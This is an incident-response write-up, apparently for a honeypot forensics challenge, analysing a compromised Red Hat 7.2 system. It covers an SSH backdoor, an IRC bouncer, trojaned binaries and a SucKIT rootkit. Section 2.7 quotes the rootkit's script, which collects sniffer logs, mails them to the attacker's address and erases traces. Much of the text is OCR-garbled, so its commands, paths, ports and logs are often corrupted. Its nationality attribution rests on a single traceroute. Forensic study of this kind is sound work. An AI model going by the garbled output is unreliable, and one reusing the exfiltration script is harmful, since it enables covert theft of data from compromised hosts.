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1.0 Scope

This month's challenge is to conduct incident response and analyze a live image
of acompromised Linux Red Hat 7.2 system.

2.0 Questions

2.1 Describe the process you used to confirm that the live host was compromised
while reducing theimpact to the running system and minimizing your trust in
thesystem.

Theinitia screen of the compromised system, which is seen just after one opens the
Vmware image, shows signs of intruder activity on the host. The two suspicious
messages are:

1. Message about swapd.
2. Ethernet interface going into promiscuous mode just after login.

Hence, we can conclude that the system has been compromised without running any
commands / tools on the system.

ed Hat Linux release 7.2 (Enigma)
Kernel Z2.4.7-18 on an i686

his server is operated for authorized users only. All use
is subject to monitoring. Unauthorized users are subject to
prosecution. If you’re not authorized, LOG OFF NOW?

localhost login: root
Password: e ST
Last login: Wed Aug 6 114648 on tty2

[root@localhost rootlit€ (SUﬁpd] uses obsolete (PF_INET,SOCR PHCR
-thﬂ _Promiscupts—mode—enabied——
e ethd entered promiscuous mufg
ET4T Timux—iPX B 47 for NET4 G
IPX Portions Copyright (c) 1995 Caldera, Inc.
IPX Portions Copyright (c) 26888, 2881 Conectiwva, Inc.
ET4: AppleTalk B8-18a for Linux NET4.8
ethd: Promiscuous mode enabled T
sLhB: Promiscuous mode enabled.




2.2 Explain the impact that your actions had on the running system.

The whole analysis was conducted using Firelite Forensics toolkit, hence the
CDROM had to be mounted and the tools had to be run from the CDROM.
This activity would get listed in the Isof output, making the output a bit confusing.

Also sometimes “Is’ was used, since the CD did not contain “IS” binary, and the
origina “Is’ binary was trojaned.

This activity would have probably atered state of some processes/ files but the
“Snapshot and Revert” option of Vmware came in handy, whereby one can revert to
a saved snapshot of the origina image.

[root@localhost linuxZ2.Z2_x861# ./lsof i grep mnt
981 root cuwd 3,8 10248 149846 /mnt/cdrom/stat

bhins/linuxZ.2_xB6

15388 root cud 3.8 18248 149846 /mmt/cdrom/stat
bins/linux?.2_xB6

15388 root txt 3,8 626648 166612 /mnt/cdrom/stat
binsslinuxZ.2_xB6/1sof

15389 root cud 3.8 18248 149846 /mnt/cdrom/stat
hins/linuxZ.Z2_xB6

15398 root cud 3,8 10248 149846 /mnt/cdrom/stat
binsslinuxZ.2_xB6

15398 root txt 3,8 626848 166612 /mnt/cdrom/stat
bhins/linuxZ.2_xB6/1sof
[root@localhost linuxZ.Z2 xB61#

(Image showing traces of mount in |sof)

2.3 List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red
Hat 7.2 default ports).

Isof givesusthelist of open files, connections etc etc, when run it showed up 3
suspicious ports 65336, 65436 and 3049 , grep for these ports with Isof reveaed
The suspected ports, which were open on the compromised machine (honeypot),
were:

TCP ports 65336 and 65436 were open, both running with PID 15119

[root@localhost linuxZ2.2_x861# ./lsof | grep 65436
initd (15119} root osu  IPv4 15619

J e

[root@localbhost linuxZ.2_xB61# ./lsof | grep 65336
initd (15119} root Ju IPv4 15617

) i e

initd 15119 root bu IFv4 16157
336->213.154.118.208:1188 (ESTABLISHED)

[root@localhost linux2.2_xB61% _

[rootPlocalhnst linuxZ2.Z2_xB61# ./lsof | grep 3849
Bu IPw4 9972
[rootBlocalhiost linuxZ2.Z2 xB61#

INFECTED (PORTS: 3849)




2.4 Werethere any active network connections? If so, what addr ess(es) was the
other end and what service(s) wasit for?

The netstat —a command run from the FireLite toolkit showed up the active network

connections.
There were 3 active connections.

The address 213.154.118.200 was connected to the honeypot on tcp port 65336

which was running a SSH backdoor and which after connecting gave aroot shell to

the attacker.

The addresses 64.62.96.42 and 199.184.165.133 were connected to the honeypot on

tcp ports 1149 and 1146 respectively, which was running an IRC daemon.
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2.5 How many instances of an SSH server wereinstalled and at what times?

Two instance of SSH server were installed.

initd 15119 root Ju IPwv4

initd 15119 root 4w  REG 2622

v log/psybne . log
initd 15119 root Su  IPv4 [C

¢TEP =:65336 (LISTEN

92897 setcsoptspsybng

(LISTEE

Both were installed at 16:02 hours

.ps -ef | grep initd
AB:BB:A@ initd

[rootPlocalhost linuxZ.Z2 =H61#
1 B8 16:82 7

15119

2.6 Which instances of the SSH serversfrom question 5wererun?

First ingtance of SSH was run (i.e. port 65336)




2.7 Did any of the SSH serversidentified in question 5 appear to have been modified
to collect unique information? If so, was any information collected?

The SSH server, which is actually part of SucKIT rootkit has a sniffer, which
collected information on the host, but the sniffer logs seem to be erased.

Also, the sniffer logs were possibly mailed to the attacker and then deleted as seen
from the .boot file present in the /lib/.x/ directory which also contains the rootkit
files.

libr.xsgsk £ 1 >> +1libs.x reboot.log

echo "#i##tHost S{IP} went online on S{TIME}" »>> /tmp-13996log
>> stmprs13996maillog
»> stmprs13996mail log
"###55HD backdoor port: S{SSHPORT}" >> ~tmp-13996log
»» stmprs13996mail log
>> stmprs13996maillog
"###Sniffer log:" >»> stmps139961log
v - TTY Sniffer:" >> tmprs1399610g

at slibs.x/.lurker >»> /tmp-s13996log

echo >> stmprs13996maillog

echo " - Network Sniffer:” >» /tmp-13996log

at slibs . x/s/mfs >> stmpr13996maillog

echo >> /tmprs13996bmaillog

echo >> stmprs13996maillog

echo "###Reboot log:™ >> ~tmp-13996log

at ~slibs.xsreboot.log >> ~tmp-139961log

echo >> Atmprs13996bmaillog

echo >> -tmprs13996maillog

at +tmp-13996log | mail -s "Host ${IP} is up!" skiZophrenia_sickByahoo.com

libr.x-hide

libs.xrscl -f svarslogsmaillog yahoo > sdevs/null

libr.xscl -5 o.tgz > sdev/null

2.8 Which system executables (if any) were trojaned and what configuration files
did they use?

The following system executables were trojaned. The following list was obtained
from chkrootkit utility:

ifconfig
Is

ps
netstat
top

[root@localhost chkrootkit-linuxli#t .- chkrootkit -g
hecking “ifconfig’... INFECTED
hecking “1s’... INFECTED

hecking "netstat’... INFECTED
hecking ° ... INFECTED
heckin ... INFECTED




2.9 How and from wher e was the system likely compromised?

The honeypot possibly was compromised using an Apache-SSL exploit. Since
all the httpd logs have been erased and SSL binaries have been found in the
root directory.

BonusQuestion
2.10 What nationality do you believe the attacker (s) to be, and why?
The attacker is from Romania. The ip address from which the attacker connected

to the honeypot on the SSH Backdoor (213.154.118.200) was traced using
traceroute which led to this conclusion.

i ‘ 3184118200 |sanido-08.1s.penetro +02:UD‘ ‘ ‘PCNET Data Metwork S.A.

Roundtrip timeto 202138117142 avetage = 420ms min= 340ms mak= 461ms-- MSwUSQD?%PM

~5,[Bg[nania]

3o

And aso the chat log which was found in /etc/opt/psybnc/log/psybnc.log

:Lizstener created :8.8.8.8 port 65336
:Listener created :8.8.8.8 port -188
:Can’t create listening sock on host = port -ZBB (bind)
: :Loading all Users
146 _:Me—t¥ers found. ﬂ
¥I6 :psyBNCZ.3.1-cBtITLADMSNp started (PID :15119)™
3% connect from sanido-89.is.pcnet.ro i
132 :New User-sic (wiewgde dedwgere)ndded by “sic
36 :User =sic () has no server added
86 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
‘86 :User sic () connected to fairfax.va.us.undernet.org:6667 ()
:4? :Hop requested by sic. Quitting.
:47 :User s=ic got disconnected from serwver.
:51 :User sic () trying fairfax.va.us.undernet.org port 6667 ().
‘B8 :User sic guitted (from sanido-B9.is.pcnet.ro)
24 :commect from sanido-89.is.pcnet.ro
25 :User s=ic logged in.
:57 :User sic guitted (from sanido-B9.is.pcnet.ro)d
:59 :commect from sanido-89.is.pcnet.ro
:59 :User sic logged in.
'Z2b :User szic gquitted (from sanido-H9.is.pcnet.rod
:34 :commect from sanido-B89.is.pcnet.ro
:4? :User sic logged in.
‘A8 :User sic: cant connect to fairfax.wa.us.undernet.org port 6
retcsopt/psybnecslog-psybnc . log




